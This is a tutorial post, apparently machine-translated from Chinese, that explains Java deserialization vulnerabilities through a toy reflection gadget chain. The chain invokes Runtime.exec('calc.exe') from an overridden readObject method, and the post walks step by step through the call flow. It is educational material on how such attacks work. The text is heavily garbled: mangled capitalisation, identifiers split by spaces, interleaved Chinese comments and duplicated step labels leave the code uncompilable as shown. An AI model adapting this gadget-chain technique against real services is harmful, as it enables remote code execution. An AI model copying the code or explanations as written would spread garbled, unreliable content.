Java deserialization principle-demo (ii) 0x00 test code and run results
Test code:
Package Test;import Java.io.bytearrayinputstream;import Java.io.bytearrayoutputstream;import java.io.IOException; Import Java.io.objectinputstream;import Java.io.objectoutputstream;import Java.io.serializable;public class Reflectionplay implements serializable{public static void Main (string[] args) throws Exception {new Reflec Tionplay (). run (); } public void Run () throws Exception {byte[] objectbytes=serialize (GetObject ()); Deserialize (objectbytes); }//Returns the malicious object public in this method public object GetObject () {String command = "Calc.exe"; Object firstobject = Runtime.class; Reflectionobject[] Reflectionchains = {/* * Object runtime = Class.forName ( "Java.lang.Runtime"). GetMethod ("GetRuntime", new class[] {}). Invoke (null); Class.forName ("Java.lang.Runtime"). GetMethod ("exec", String.class). Invoke (Runtime, "calc.exe"); * * *//Call the GetMethod method of Runtime.class, look for the GetRuntime method, get a methods object (get Runtime method)//equivalent to Runtime.class.getMethod ("GetRuntime", New Class[]{string.class,class[].class}) New Reflectionobject ("GetMethod", New Class[]{string.class, Class[].class}, New object[]{"GetRuntime", new Class[0] }),///Call method to Invoker methods to get a Runtime object//equivalent to Method.invoke (null), static method without passing in the object New Reflectionobject ("Invoke", New Class[]{object.class, Object[].class}, New Object[]{null, New Object[0]}), Call the Exec method of the runtime object and execute command as a parameter new Reflectionobject ("Exec", new CLASS[]{STRING.C Lass}, New Object[]{command})}; return new ReadObject (New Reflectionchains (Firstobject, reflectionchains)); }/* * Serialize the object to a byte array * */public byte[] Serialize (final Object obj) throws IOException {Byt EarrayoutputstReam out = new Bytearrayoutputstream (); ObjectOutputStream objout = new ObjectOutputStream (out); Objout.writeobject (obj); return Out.tobytearray (); }/* * Deserialize an object from a byte array * */public Object Deserialize (final byte[] serialized) throws IOException, Cl assnotfoundexception {Bytearrayinputstream in = new Bytearrayinputstream (serialized); ObjectInputStream Objin = new ObjectInputStream (in); return Objin.readobject (); }/* * A class that simulates a vulnerability, primarily providing the ability to reflect calls based on values in their own properties * */class Reflectionobject implements serializable{ Private String MethodName; Private class[] paramtypes; Private object[] args; Public Reflectionobject (String methodName, class[] paramtypes, object[] args) {this.methodname = MethodName; This.paramtypes = Paramtypes; This.args = args; }//According to MethodName, Paramtypes to find the object method, using args as a parameterCall public Object transform (object input) throws Exception {Class Inputclass = Input.getclass (); Return Inputclass.getmethod (MethodName, Paramtypes). Invoke (input, args); }/* * A class to simulate the supply of malicious code, * The main function is to call Reflectionobject in series, together with Reflectionobject to form part of the vulnerability code * */ Class Reflectionchains implements serializable{private Object firstobject; Private reflectionobject[] reflectionobjects; Public Reflectionchains (Object firstobject, reflectionobject[] reflectionobjects) {//reflectionchains constructor method thi S.firstobject = Firstobject; This.reflectionobjects = reflectionobjects; } public Object execute () throws Exception {Object concurrentobject = Firstobject; for (Reflectionobject reflectionobject:reflectionobjects) {concurrentobject = REFLECTIONOBJECT.TRANSFO RM (Concurrentobject); System.out.printlN (concurrentobject); } return concurrentobject; }}/** * A class waiting to be serialized, having a property and an overridden ReadObject method * and a way to execute the property in the ReadObject method * */Class Re Adobject implements Serializable {private Reflectionchains reflectionchains; Public ReadObject (Reflectionchains reflectionchains) {this.reflectionchains = Reflectionchains; }//When deserializing, this code will be called//when the method is called, its properties are empty private void ReadObject (Java.io.ObjectInputStream strea m) throws IOException, ClassNotFoundException {try {//to simulate when readobject, Some additional operations are performed on the properties of reflectionchains= (Reflectionchains) stream.readfields (). Get ("Reflectionchains", null); Reflectionchains.execute (); } catch (Exception e) {e.printstacktrace (); } } } }
Operation Result:
0X01 Test Code Analysis
The classes involved:
class name |
whether to inherit Serializable |
Method Name |
Reflectionobject |
Inherited |
Transform |
Reflectionchains |
Inherited |
Execute |
ReadObject |
Inherited |
ReadObject (rewrite) |
Note: To create an anti-sequence vulnerability, you need to override the Readobjec method
Code Flow:
- Serialize (GetObject ()); Serializes an object
GetObject (); Generates an Reflectionobject array containing three Reflectionobject objects, and then uses the Reflectionobject array to generate a Reflectionchains object. Continue to generate a ReadObject object using the Reflectionchains object
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), //调用 Method 的 invoker 方法可以得到一个Runtime对象 // 等同于 method.invoke(null),静态方法不用传入对象new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), //调用RunTime对象的exec方法,并将 command作为参数执行命令new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})}; return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
- Deserialize (objectbytes); deserialize serialized bytes
Deserializes the incoming bytes because the incoming byte is a Readobjec object that is serialized, so you need to call Readobjec's Readobjec method when deserializing (the method has been overridden)private void readObject(java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException { try { //用来模拟当readObject的时候,对自身的属性进行了一些额外的操作 reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null); reflectionChains.execute(); } catch (Exception e) { e.printStackTrace(); } }
Here we need to focus on looking at
The arguments passed in when generating the ReadObject object are Reflectionchains objects, so the Execute () method called here is the Reflectionchains execute () method.
Then analyze Reflectionchains's Execute () method:
public Object execute() throws Exception { Object concurrentObject = firstObject; for (ReflectionObject reflectionObject : reflectionObjects) { concurrentObject = reflectionObject.transform(concurrentObject); System.out.println(concurrentObject); } return concurrentObject; }
Key code:
It is known from the above that the parameter passed in when generating the Reflectionchains object is an Reflectionobject array, which means: traversing the reflectionobject array, Each element (Reflectionobject) executes a transform method
Continue to analyze the transform method of Reflectionobject:
public Object transform(Object input) throws Exception { Class inputClass = input.getClass(); 得到input对象是那个类的类名 return inputClass.getMethod(methodName, paramTypes).invoke(input, args); 通过类名调用该类的某一方法 }
Attention:
From the above analysis, it can be learned that the reflection chain is deserialized:
Deserialize (objectbytes); Call the ReadObject method of the ReadObject class; Next call the Execute method of the Reflectionchains class Next, call the transform method of the Reflectionobject class by traversing the Reflectionobject array
0x02 Core Analysis
From the above code analysis, the final need to execute is the following code:
New Reflectionobject ("GetMethod", New Class[]{string.class, Class[].class}, New object[]{"GetRuntime", new Class[0]}),//Invoker method can be called to get a Runtime object//equivalent to Method.invoke (null), static method does not have to pass in the Like new Reflectionobject ("Invoke", New Class[]{object.class, Object[].class}, New Object[]{null, New Object[0]}), Call the Exec method of the runtime object and execute command as a parameter new Reflectionobject ("Exec", New Class[]{string.class}, new Object[]{command })
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 等同于执行了:Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),等同于执行了:method.invoke(null),静态方法不用传入对象new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})RunTime对象的exec方法,并将 command作为参数执行命令
The first object performs the completion of:
Runtime.class.getMethod ("GetRuntime", new Class[0]);
Result of output: Java.lang.Runtime.getRuntime () output is a class
The second object performs the completion of:
Runtime.class.getMethod ("GetRuntime", new Class[0]). Invoke (null, new object[0]);
Output: [email protected] Output is a runtime object
The second object performs the completion of:
Runtime t = (runtime) Runtime.class.getMethod ("GetRuntime", new Class[0]). Invoke (null, new object[0]);
T.exec ("Calc.exe")
Reference Link: http://www.freebuf.com/vuls/170344.html
Java deserialization principle-demo (ii)